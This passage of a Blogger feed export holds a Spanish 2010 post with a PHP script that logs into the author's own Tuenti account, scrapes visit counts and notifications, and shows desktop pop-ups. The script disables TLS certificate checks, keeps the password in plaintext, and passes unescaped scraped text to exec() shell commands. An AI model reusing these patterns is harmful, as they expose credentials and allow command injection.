/&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exec('notify-send -t 2500 "'.$titulo.'" "'. $info .'" -i "'.$ruta.'ico.png" &amp;amp;');&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if ($opcion_mostrar_visitas &amp;amp;&amp;amp; $mostrar_visitas){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exec('notify-send -t 2500 "'.$titulo.'" "'. $imprime_visitas .'" -i "'.$ruta.'ico.png" &amp;amp;');&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;?&amp;gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-2505884028150001517?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/2505884028150001517/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/03/php-curl-tuenti-login-parser.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2505884028150001517'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2505884028150001517'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/03/php-curl-tuenti-login-parser.html' title='PHP, Curl, Tuenti, Login, Parser - Notificador de tuenti.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_adYnwobHI2E/S6fMbA54LYI/AAAAAAAAAck/5BG34pCkF0I/s72-c/tuenti-0.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-7687776040785711543</id><published>2010-03-24T03:55:00.000+01:00</published><updated>2010-03-24T03:55:07.351+01:00</updated><title type='text'>PHP - Curl a Tuenti (Versión Modificada)</title><content type='html'>Necesitarás lo mismo que la versión anterior. Esta es la versión actualizada de tuenti.php que cuenta además el cambio en el número de visitas. Recuerda modificar los campos en rojo.&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: #38761d;"&gt;&amp;lt;?php&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;/*&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tuenti.php&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Copyright 2010 Eduardo Ramirez Martinez-Esparza &amp;lt;zeyt@ZeYt&amp;gt;&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This program is free software; you can redistribute it and/or modify&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; it under the terms of the GNU General Public License as published by&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the Free Software Foundation; either version 2 of the License, or&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (at your option) any later version.&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This program is distributed in the hope that it will be useful,&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&amp;nbsp; See the&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; GNU General Public License for more details.&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; You should have received a copy of the GNU General Public License&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; along with this program; if not, write to the Free Software&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MA 02110-1301, USA.&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;*/&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; //MODIFICALO&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $usermail = "&lt;span style="color: red;"&gt;example@example.com&lt;/span&gt;";&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $password = "&lt;span style="color: red;"&gt;tucontraseña&lt;/span&gt;";&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ruta = "&lt;span style="color: red;"&gt;/home/TuUsuario/Tuenti/&lt;/span&gt;";&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; function login($usermail, $password){&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $tcookie="cookie.txt";&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $ch= curl_init();&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt($ch, CURLOPT_URL, "https://www.tuenti.com/?m=login&amp;amp;func=do_login");&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_POSTFIELDS, "email=$usermail&amp;amp;input_password=$password&amp;amp;timezone=1");&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_POST, 1);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_HEADER, 0);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_COOKIEFILE, $tcookie);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_COOKIEJAR, $tcookie);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.5) Gecko/20091105 Fedora/3.5.5-1.fc11 Firefox/3.5.5");&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $res=curl_exec ($ch);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_close($ch);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return $res;&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; function consult($url){&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $tcookie="cookie.txt";&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $ch= curl_init();&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_URL, $url);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_HEADER, 0);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, false);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_COOKIEFILE, $tcookie);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_COOKIEJAR, $tcookie);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.5) Gecko/20091105 Fedora/3.5.5-1.fc11 Firefox/3.5.5");&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $res = curl_exec ($ch);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; curl_close($ch);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return $res;&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $login=login($usermail, $password);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $resultado = consult("http://www.tuenti.com/?m=home&amp;amp;func=view_home");&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $trozos = explode('&amp;lt;div class="views"&amp;gt;&amp;lt;strong&amp;gt;',$resultado);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $trozos = explode('&amp;lt;/strong&amp;gt;',$trozos[1]);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $visitas = $trozos[0];&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (file_exists("visitas.txt")){&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $f = fopen("visitas.txt","r");&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $visitas_old = fread($f,filesize("visitas.txt"));&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fclose($f);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; else{&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $f = fopen("visitas.txt","w");&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fclose($f);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $visitas_old = 0;&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $mostrar_visitas = FALSE;&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($visitas&amp;gt;$visitas_old){&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $f = fopen("visitas.txt","w");&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fwrite($f,$visitas);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fclose($f);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $total = $visitas-$visitas_old;&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $mostrar_visitas = TRUE;&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime_visitas = "Has tenido ". $total ." visitas: ".$visitas;&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; require_once("clase_tuenti.php");&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime = "Notificaciones tuenti:\n";&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $con = new tuentiAPI($usermail, $password);&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $r = $con-&amp;gt;request('getUserNotifications', array());&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $salto=FALSE;&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($r['unread_friend_messages']['count'] &amp;gt; 0){&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime .= "Privados de amigos: ".$r['unread_friend_messages']['count']."\n";&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $salto=TRUE;&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($r['unread_spam_messages']['count'] &amp;gt; 0){&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime .= "Mensajes de desconocidos: ".$r['unread_spam_messages']['count']."\n";&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $salto=TRUE;&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($r['new_profile_wall_posts']['count'] &amp;gt; 0){&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime .= "Comentarios: ".$r['new_profile_wall_posts']['count']."\n";&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $salto=TRUE;&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($r['new_friend_requests']['count'] &amp;gt; 0){&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime .= "Peticiones de amigo: ".$r['new_friend_requests']['count']."\n";&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $salto=TRUE;&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($r['new_photo_wall_posts']['count'] &amp;gt; 0){&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime .= "Comentarios en fotos: ".$r['new_photo_wall_posts']['count']."\n";&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($r['new_tagged_photos']['count'] &amp;gt; 0){&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime .= "Fotos etiquetadas: ".$r['new_tagged_photos']['count']."\n";&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $salto=TRUE;&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($r['new_event_invitations']['count'] &amp;gt; 0){&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $imprime .= "Eventos: ".$r['new_event_invitations']['count'];&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $salto=TRUE;&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($salto){&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; exec('zenity --info --window-icon="'.$ruta.'ico.png" --text "'. $imprime .'" --timeout 20 &amp;amp;');&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($mostrar_visitas){&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; exec('zenity --notification --window-icon="'.$ruta.'ico.png" --text "'. $imprime_visitas .'" --timeout 40 &amp;amp;');&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br style="color: #38761d;" 